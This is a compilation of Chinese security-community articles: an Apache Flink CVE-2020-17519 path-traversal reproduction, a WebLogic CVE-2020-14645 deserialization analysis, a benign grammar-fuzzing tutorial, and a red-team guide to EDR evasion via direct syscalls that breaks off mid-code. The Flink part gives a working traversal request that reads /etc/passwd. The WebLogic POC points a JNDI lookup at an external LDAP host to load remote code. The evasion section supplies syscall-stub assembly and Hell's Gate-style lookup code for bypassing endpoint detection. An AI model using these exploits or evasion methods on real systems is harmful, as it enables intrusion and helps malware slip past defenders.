Apache Flink® — Stateful Computations over Data Streams
Apache Flink是一个框架和分布式处理引擎，用于对无边界和有边界的数据流进行有状态的计算。
Flink被设计成可在所有常见的集群环境中运行，在任何规模下以"内存速度"执行计算。
##### REST API
参考官方文档 <https://ci.apache.org/projects/flink/flink-docs-stable/ops/rest_api.html#jobmanager-logs>
Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink
自己的dashboard，同时也可用于自定义监控工具。
该监控 API 是 REST-ful API, 即接受 HTTP请求，并响应JSON格式的数据。
##### 使用REST API
监控 API 中有一个API是 `/jobmanager/logs`
作用是: Returns the list of log files on the JobManager.
Request 1:
GET jobmanager/logs HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
Response 1:(手动格式化了json数据)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 1031
{
"logs": [
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.3",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.log",
"size": 123126
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.1",
"size": 19991
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.2",
"size": 18651
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.out",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.out.1",
"size": 0
},
{
"name": "flink-work-standalonesession-0-instance-demo.test.log.1",
"size": 18910
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log",
"size": 18443
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.2",
"size": 0
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.out.1",
"size": 0
},
{
"name": "flink-work-taskexecutor-0-instance-demo.test.log.3",
"size": 18160
}
]
}
现在有了日志的列表，可以看其中某个日志文件的具体内容。
Request 2:
GET jobmanager/logs/flink-work-standalonesession-0-instance-demo.test.log HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
Response 2:
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 14910
2021-01-04 14:58:05,470 INFO
(该日志的文件内容 此处省略)
### 漏洞信息
参考自
<https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cannounce.apache.org%3E>
漏洞名称:
CVE-2020-17519: Apache Flink directory traversal attack: reading remote files
through the REST API
影响版本:
3个版本受影响`1.11.0` `1.11.1` `1.11.2`
漏洞描述:
Apache Flink
1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
漏洞危害:
访问限制为JobManager进程可访问的文件。
(对于JobManager进程有权限读取的那些文件，攻击者可通过利用此漏洞实现文件读取。)
修复方案:
升级到1.11.3或1.12.0
The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from
apache/flink:master.
Credits:
This issue was discovered by 0rich1 of Ant Security FG Lab
### 漏洞分析
参考diff
<https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801>
文件路径:
flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java
该文件的代码变更:
// 具体变更: 去掉了第1行 ，新增了第2行
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
使用`File`类，可以去掉path信息，是个简单的修复办法。
修复之后的关键代码如下:
<https://github.com/apache/flink/blob/97bfd049951f8d52a2e0aed14265074c4255ead0/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java>
@Override
protected File getFile(HandlerRequest<EmptyRequestBody, FileMessageParameters> handlerRequest) {
if (logDir == null) {
return null;
}
// wrapping around another File instantiation is a simple way to remove any path information
// - we're
// solely interested in the filename
String filename =
new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
return new File(logDir, filename);
}
}
### 漏洞验证
Request:
GET jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close
Response:
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 1523
root:x:0:0:root:/root:/bin/bash
### 总结
CVE-2020-17519: Apache Flink directory traversal attack: reading remote files
through the REST API
对于受影响的`1.11.0` `1.11.1` `1.11.2`版本的Apache Flink，可以实现(JobManager进程权限的)任意文件读取。 | 社区文章 |
## 环境搭建
参考前面的[环境](https://tttang.com/archive/1768/#toc__1)
## T3
### CVE-2020-14645
#### 原理
这个利用方式也就是针对`CVE-2020-2883`的黑名单绕过，在2883那个[CVE](https://tttang.com/archive/1785)存在有两条链子，但是本质上都是通过`ReflectionExtractor`来调用的任意的方法，最后进行命令执行的，之后再补丁中将该类加入了黑名单中，而这里的CVE也就是在这个基础上找到了在`com.tangosol.util.extractor.UniversalExtractor`类中也能够进行类似的逻辑，进行黑名单的绕过
#### 分析
因为这里就只是之前的一个CVE的一种黑名单绕过，这里对于前面就不过多的提及了，可以看看前面的分析
[传送门](https://tttang.com/archive/1785/#toc_cve-2020-2883)
首先看看如果调用extract方法的，在前面的分析中，我们能够知道在`ExtractorComparator`这条链中
主要是通过`ExtractorComparator#compare`方法的调用中能够触发任意类的`extract`方法，所以在那条链子中就是使用的调用`ChainedExtractor#extract`，之后通过`ReflectionExtractor`来进行了命令执行
而如何调用其compare方法的呢？
主要是通过CC链的方式，通过调用PriorityQueue#readObject进而调用到了其的`compare`方法
贴个调用栈就行了
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
之后从漏洞的入口开始分析`UniversalExtractor#extract`方法中
在这里，传入的`oTarget`参数是我们构造的`JdbcRowSetImpl`类对象，为什么要设置为这个对象，我们后面会进行分析
这里，因为`m_cacheTarget`是一个被`transient`修饰的属性，所以，这里肯定是会进入else语句调用`extractComplex`方法
在`extractComplex`方法的后面存在有一个能够任意调用任意类的任意方法的操作
我们倒过来看存在有什么样的限制，这里的`oTarget`没有任何的争议，我们是完全可控的一个类对象
重点来看看`method`变量的限制
解释一下子这个方法的逻辑
首先获取了`oTarget`这个对象的类，之后调用了`getCanonicalName`方法获取方法名
这里的`Lambdas.getValueExtractorCanonicalName(this)`因为传入的参数是this，所以会一直为null，进入if语句中去
调用`CanonicalNames.computeValueExtractorCanonicalName`方法来获取，传入的参数是`m_sName /
m_aoParam`这两个属性值
分析一下具体的逻辑，首先第一个if语句就要求了必须要是一个无参的方式，之后再第一个`else
if`语句中，如果传入的`sName`值不以`()`结尾，就直接将这个变量值进行返回
如果存在有`()`，进入`else`语句中去
其中限制了方法的前缀
必须以`get / is`开头的方法才能满足
之后的逻辑就是将方法中的前缀`get / is`和后缀`()`给去掉，并且将首字母给小写了进行返回
而这里也不是直接对`method`进行了控制，真正的控制还是需要回到`extractComplex`方法中
在这里`fProperty`如果为true，就会按照之前去除的规则，将其还原为方法名，并且调用`ClassHelper.findMethod`来获取对应的方法
之后就是创建了一个`TargetReflectionDescriptor`对象将其赋值给`m_cacheTarget`属性，传入的参数是`clzTarget`和我们前面构造的method
看到寻找`getXXX`开头的函数，并且具有对应的属性，我们很容易就联想到FastJson的一系列反序列化就是`getXX / setXX`等方法的寻找
很多，这里用的是经典的`JdbcRowSetImpl`链
跟进看看
在`JdbcRowSetImpl#getDatabaseMetaData`方法的调用中
调用了`connect`方法进行连接
在这个方法中，存在这样一串代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
这里调用`getDataSourceName`方法就会返回对应的属性值，之后进行lookup查询，造成了JNDI注入漏洞
贴个调用栈：
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
POC的关键代码
这里就借用Y4er师傅的简洁点的POC
<https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java>
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.153.1:1389/ogzhze");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
#### 修复
1. 安装补丁
2. 加入黑名单
3. 限制T3 / IIOP协议
## Ref
<https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java> | 社区文章 |
# Fuzzingbook学习指南Lv5
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
我们之前的fuzzing往往考虑的都是一个字符串，绞尽脑汁让这个字符串的字符发生变化进而提高某些指标，我们这次把段位上升，不在局限于怎么“美化”句子，而是如何“定义”句子。
还记得最初我们用的bc吗？如果你一味使用Lv4之前的技术，那你其实永远都是在“乱搞”，因为它其实有一套自己的逻辑，如果找到了逻辑你可以绝杀，就像是玄幻小说，掌握规则的人永远比普通修炼的牛，我们也要让我们的史莱姆掌控法则。
## 语法
我们说话写字都是有一定规则的，编写程序是这样，写数学公式也是这样，现在我们来想想到底是什么“限制”了我们呢？
* 首先当然是范围，你也可以理解为集合当中说的定义域，简单说就是规定哪些符号你能用，哪些不能用，以只包含加减乘除的小学数学表达式为例，我们的定义域就限制在了加减乘除四个符号以及0～9十个数字罢了，你用了a你就是错了，就不是一个合格的表达式了。
* 其次我们可以想到，是一组规则让我们不能乱写。小学数学表达式可不会出现1++这种奇奇怪怪的式子，这就说明背后有一套规则约束，而这套规则还应该是支持无限写下去的，因为按道理来说，你可以写1+1+1+···一直写下去。
如果让我们用一套规范点的方式去概括这两个方面呢？范围我们很好解决，我们可以用正则表达式来检测，不符合规则淘汰就是了，第二点我们该如何做呢？其实我们大学就学过这个问题，这其实就是个有限状态机。
所谓有限状态机，其实就是一组“状态”，它们之间互相能够进行转换。比如Linux的进程状态，那有人就要问了，你刚说了1+1+1+能无限写下出，怎么这会反而有限了呢？其实有限说的是状态是有限的，比如Linux的进程状态，满打满算就五个，但是一个进程你完全可以无限次的经历这些状态。
这两点就组成了我们的语法，我们只需要按照一定的规则，就可以轻松写出对应的语法，比如
<start> ::= <digit><digit>
<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
首先是个start标签，标志着开始，::=这个符号表示前者可以由后者代替，而|就代表or的意思，所以上面的语句就代表，以两个数字开头，后面啥也没有，其实就是我们需要写两个0-9的数，比如00，比如12。
那你就要问了，我要是写1000个数你咋整啊，我总不能写1000个<digit>吧？其实也很简单，加一句话就完事了
<start> ::= <integer>
<integer> ::= <digit> | <digit><integer>
<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
我们引入了递归的概念来处理这个问题，用递归达到无限循环的目的。直接来看，首先我们以integer开头，而integer可以是数字，也可以是数字然后再来个integer，这就可以一直递归下去了。比如我写1，可以吗？可以，integer=digit=1即可；写23，可以吗？可以，integer=3iteger，再处理第二个integer=3即可，就得到integer
= 23，这样我们就轻松实现了无限的概念。
那又有问题了，我如何表达我的数有正负呢？也简单，在状态转换的位置加入限制即可，如下
<start> ::= <number>
<number> ::= <integer> | +<integer> | -<integer>
<integer> ::= <digit> | <digit><integer>
<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
假设我们输入的是-3，那么就是number=-integer，integer=3，number=-3，完毕。
有了上面几个例子，相信你已经会利用“解包”的思想读这些语法了，我们每次读时，如果有还不清楚的位置，那就先带着标签，然后一步步把标签给去了，这就是解包的思想，我们不仅仅读需要这种思想，写代码实现也要如此。下面我们就尝试写代码，让程序按照我们定的规则来说话。
DIGIT_GRAMMAR = {
"<start>":
["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
}
我们用字典存储标签即可，而对于生成的过程如下：
term = start_symbol
expansion_trials = 0
while len(nonterminals(term)) > 0:
symbol = random.choice(nonterminals(term))
expansions = grammar[symbol]
expansion = random.choice(expansions)
new_term = term.replace(symbol, expansion, 1)
if len(nonterminals(new_term)) < max_nonterminals:
term = new_term
if log:
print("%-40s" % (symbol + " -> " + expansion), term)
expansion_trials = 0
else:
expansion_trials += 1
if expansion_trials >= max_expansion_trials:
raise ExpansionError("Cannot expand " + repr(term))
nonterminals函数用来找非终端的标签，对于能够继续产生标签的标签，我们叫它非终端，比如start；对于只能产生最终结果不能继续生成标签的标签，就是终端，比如digit。
因为我们是一步步解包，所以首先我们得有包，他其实就是在检查当前的term是不是有包，如果有包的话，就在包里随机找一个，然后再从包中找一个标签，我们就到了新的表达式，当然，为了这个过程不会无限循环下去，我们人为定义了循环的最大值，让他不会无限循环。
这样说可能有点抽象，我们举个例子，就用我们的正负数来说：
* nonterminals找到非终端的值，一开始就是number（节省篇幅，跳了start标签）
* 随机选一个作为expansions ，这里只有number
* 随机在number对应的里面选一个，假设选到了+<integer>
* 那么新标签现在就是+<integer>
* 找所有非终端的值，只有<integer>
* 随机选，只能选<integer>
* 随机在integer对应的里面选一个，假设选中了<digit><integer>
* 那么新标签现在是+<digit><integer>
* 重复….
如此，我们就可以生成我们语法要求格式的字符串，同时我们也可以直观看到，如果不限制循环的次数，他完全可以-1111···这样一直生成下去。解包的思想在这里发挥了重要作用。在Fuzzingbook还给了很多例子和如何将这种语法封装为工具箱，因为篇幅限制就不再是详述了，大家可以自行参考。
看了上面的代码我们又会发现一些问题：
* 我们的迭代有点”傻“，我们要遍历字符串，随机抽取，随机生成，这个过程过于繁琐，直接影响效率。而且实际上我们是无法从已有的生成记录中再去进行“学习”的，它的遍历过程没有留下有效的结构信息。
* 我们控制不住它，即使是我们限制了迭代次数，在迭代范围内它也是过于随机了，导致生成的结果我们能插手的地方很少，我们没有办法以合适的粒度对其进行限制。而一不小心，它还经常生成长字符串。
对于第二个问题，我们还可以想办法进行改善，比如，我们限制标签的最大深度和最小深度，超过或者小于这个深度时，标签就不再出现，比如：
"<expr>":
[("<term> + <expr>", opts(min_depth=10)),
("<term> - <expr>", opts(max_depth=2)),
"<term>"]
但这样的解决方案能力有限，因为这样操作相当于我们人为限制了语法的“值域”，也就是说输出的结果范围被限制了，我们可能无法生成所需的fuzzing字符串。而且，我们永远没有探索最短、最长等特殊表达式的能力，比如1+1，这样的表达式你就只能等着它自己慢慢生成。
而对于第一个问题，因为我们使用简单的字符产组织，结构如此，永远没办法改善，只能另谋他路。
## 语法树
在算法问题中，我们常常一言不合就用树，因为树状结构简单清晰，还弥补了很多数据结构的缺点（虽然很多优点它也没继承），那么我们在这个问题上能不能使用树结构呢？我们简单思考：
* 有限状态机的结构与树非常契合，我们可以认为树的当前的节点就是一个状态，而这个状态的下一个状态，我们可以用该节点的子节点表示，有几个就挂几个子节点，可以一直继续下去。也就是说，节点的种类有限，节点的数量无限。同样用在我们的语法规则上也适用，我们生成的标签就可以作为节点，我们可以按照规则选择接下来的标签挂到节点上。
* 我们语法规则是马尔科夫链（当一个随机过程在给定现在状态及所有过去状态情况下，其未来状态的条件概率分布仅依赖于当前状态。但要注意，有限状态机本身不能算是马尔可夫链，因为实际上有限状态机的状态变换时一定的，没有概率一说，但我们生成字符串的规则却是带有随机性的）的一种特殊情况，它的每次状态变化都只依赖于当前状态，和之前的都没关系，所以对于树结构，我们只需要看当前的叶子节点即可，不需要关心前面节点的情况。
理论上的东西太抽象了，我们来看个例子，我们给出如下的语法规则（实际上就是四则运算规则）：
我们按照上面的思路试试能不能建树：
* start节点作为根节点
* start节点可以转移到expr节点，挂上expr节点
* expr节点有三个包，随机选一个挂上，比如expr + term包
* 现在我们有三个节点，其中，+不是非终端节点，它的使命已经完成，我们对其他两个节点重复操作
* 重复直到所有的叶子节点都是终端节点即可。
如此，我们得到了2+2这个数学表达式。这个东西我们管它叫派生树，也可以叫语法树。我们看看它解决上面的问题了吗？
* 时间上，我们遍历时不需要考虑整棵树，只需要检查叶子节点即可，效率大大提高
* 在控制方面，我们对于每一个叶子节点在遍历过程中都是可控的，我们可以人为在任何一步设置限定，不但不影响性能，编写程序也方便。
并且，我们可以看到，树结构还为我们提供了清晰的结构，让我们有了对于语法的“具体格式”，上面一章虽然也有结构信息保留下来，但结构信息杂乱，难以提取有效格式，而树结构天然就可供我们使用。我们可以进行大量的测试，我们手里有了大量树结构及其对应的代码覆盖等指标，我们完全可以选择其中优质的树结构进行相似度比较，从而提取更加优秀的树结构供我们使用。
比如bc人为限制不能输入+，如果我们按照普通的四则运算语法显然会导致大量的失效，但我们可以从有效的树中进行相似度比较，提取相似部分，这样我们就能慢慢去接近这套规则。因为树结构的存在，我们完全可以自由使用前面的知识，“养蛊”式的优化我们的树。
说完了理论，来简单看看代码实现，对于树结构，我们在python中有一套经典的保存方案：
derivation_tree = ("<start>",
[None])
即用二元组表示一棵树，其中，第一个表示节点，第二个是一个list，表示孩子。这套方案最大的问题是没法解决边的问题，但是我们现在对边也没什么讲究。
class GrammarFuzzer(GrammarFuzzer):
def choose_node_expansion(self, node, possible_children):
return random.randrange(0, len(possible_children))
def expand_node_randomly(self, node):
(symbol, children) = node
assert children is None
expansions = self.grammar[symbol]
possible_children = [self.expansion_to_children(
expansion) for expansion in expansions]
index = self.choose_node_expansion(node, possible_children)
chosen_children = possible_children[index]
chosen_children = self.process_chosen_children(chosen_children,
expansions[index])
return (symbol, chosen_children)
对于节点的扩充，其实和之前类似，都是先查语法，找到当前标签的包，随机选择一个，然后把包里所有的标签挂到节点上即可。到此，我们已经完全可以利用语法树来为我们生成fuzzing字符串了。
但是我们还不满意，我们说了树结构能帮助我们控制生成的过程，那应该怎么做呢？我们一般会定义如下的概念：
* 节点最小代价，即节点到终端节点需要消耗的最小“步数”，比如`<expr>` → `<term>` → `<factor>` → `<integer>` → `<digit>` → 1，expr走到终端节点最短路径如此，故其最小代价是5
* 节点最大代价，即节点到终端节点最大需要的步数，对于有递归的节点来说，就是无限大，对于digit来说，就是1
这两个概念可以帮助我们限制节点的走向，比如，我们可以规定，每一个节点都必须以最小的代价来进行生成（代码非常简单，我们检查节点所有可能的孩子的代价，对于包的情况，就是包内所有节点的代价的和，选择最小的挂上去即可），那么我们就会得到
我们就得到了一棵相对简单的树，它的表达式长度也让人比较满意。我们同样也可以按照最大代价进行生成，我们限制递归次数即可，如此我们就可以得到较长的表达式。但是这些会导致“僵化”问题，即路径固定，比如如果我们的最短路径只有上面一条，导致我们一直走，那我们生成的格式就永远是x+y/z了
我们目前实际上有了三种节点策略：
* 最小代价生成，即找最小代价的，会造成“僵化”
* 最大代价生成，即找最大代价的，在递归较多的语法中，“僵化”可能性较小
* 随机找一个，不会“僵化”
实际使用中，我们可以对每个节点采取不同的策略，比如有的采取最小，有的采取随机，有的采取最大，然后再人为限制递归次数，我们就即可以保证生成字符串多种多样，得到较为理想的结果了。
## 总结
我们从没头没脑的随机生成fuzzing字符串到现在终于可以利用语法“随心所欲”的生成符合我们要求格式的字符串，但在语法方面，仍有大量的知识等着我们学习，下一篇内容仍将聚焦于语法部分，期待我们的史莱姆再次升级。 | 社区文章 |
## 引言
本文是《红队开发基础-基础免杀》系列的第二篇文章，主要介绍了规避常见的恶意API调用模式及使用直接系统调用并规避“系统调用标记”两种手段，达到bypass
edr的效果。
## 使用直接系统调用并规避“系统调用标记”
### 基础知识
系统核心态指的是R0，用户态指的是R3，系统代码在核心态下运行，用户代码在用户态下运行。系统中一共有四个权限级别，R1和R2运行设备驱动，R0到R3权限依次降低，R0和R3的权限分别为最高和最低。
在用户态运行的系统要控制系统时，或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数，这些函数分别以“Nt”和“Zw”开头，这种函数叫做Native
API，下图是调用过程：
这些nt开头的函数一般没有官方文档，很多都是被逆向或者泄露windows源码的方式流出的。
调用这些nt开头的函数，在《红队队开发基础-基础免杀(一)》中曾经通过在内存中找到函数的首地址的方式来实现:
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
反编译这段代码，就可以获取syscall最简单的形式:
即：
mov r10,rcx
mov eax,xxh
syscall
这里存储的是系统调用号，基于 eax 所存储的值的不同，syscall 进入内核调用的内核函数也不同
#### 为什么使用syscall可以绕过edr？
我们可以看下图
用户调用windows api ReadFile，有些edr会hook ReadFile这个windows
api，但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos
api并找到对应的底层内核api。
sycall系统调用号文档：<https://j00ru.vexillium.org/syscalls/nt/64/>
### 写一个基础syscall
在vscode中开启asm支持：
右键asm文件，属性，修改为宏编译
这里需要注意 .asm文件不能和.cpp文件重名，否则会link报错。
接着根据[msdn的官方文档](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile)定义函数：
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
之后调用函数即可：
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
#### 使用visual studio查看反汇编代码：
工具->选项->启用地址级调试
在调试过程中，Debug->window->disassembly
可以看到最基础的汇编代码及字节码
### 动态进行syscall
我们很多时候使用syscall不是直接调用，不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的，所以我们需要进行动态syscall。
* [Hell’s Gate：地狱之门](https://github.com/am0nsec/HellsGate/)
这个工具遍历NtDLL的导出表，根据函数名hash，找到函数的地址。接着使用0xb8获取到系统调用号，之后通过syscall来执行一系列函数。
通过TEB获取到dll的地址可以参考：[获取DLL的基地址](https://blog.csdn.net/weixin_43206704/article/details/87903325)
解析pe结构，获取导出表
遍历hash表和导出表，找到syscall的函数，通过标记的方式获得系统调用号:
为什么匹配这几个字节就能找到syscall调用号呢？我们看这张图：
发现syscall对应的固定汇编语句为
4C8BD1 -> mov r10, rcx
B8XXXXXXXX -> move eax,xx
0f05 -> syscall
转化成内存数组即：
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
逐字节遍历，直到出现mov r10, rcx和move eax，经过位运算得到syscall调用号。
程序自动生成的syscall汇编代码：
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
调用syscall，分配内存，修改内存属性，创建线程：
可以发现已经能够成功上线
* [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2)
SysWhispers2 是一个合集，用python生成.c源码文件。这些文件的作用和Hell’s
Gate类似，也是在PE中找导出表，之后通过对比函数hash找到syscall调用号。相对Hell’s
Gate有更多的函数可供选择，不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)。
* [Halo’s Gate](https://github.com/boku7/AsmHalosGate)
光环之门应对native api被hook的情况，syscall有一个32字节的存根，通过编译每32字节寻找没有被hook的native
api，主要是这两个汇编函数实现：
主要还是根据syscall的特征字节码4C 8B D1 B8，在内存中原本native
api在的位置向上向下每32个字节进行搜索。找到没有被HOOK的存根后获取其系统调用号再减去移动的步数，就是所要搜索的系统调用号。
* [TartarusGate](https://github.com/trickster0/TartarusGate)
TartarusGate主要是增加了对hook的判断，我们在下面的内容会提及hook的操作，一般有5字节和7字节hook。主要是JMP相对应的机器码E9的位置不同，通过判断函数开头第一个字节和第四个字节是否为E9可以大致判断是否被hook.
* [ParallelSyscalls](https://github.com/mdsecactivebreach/ParallelSyscalls)
该项目使用了接下来会在文章三种提及的技术，一言以蔽之就是恢复了被hook的ntdll之后再进行syscall。
* [GetSSN]()
这个工具用了比较不同的思路，简单来说ssn(系统调用标记)实际上是从0开始的，只要我们获取到了所有的函数机器对应地址，通过地址进行排序，最终获得的标号顺序就是syscall
id的顺序。
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
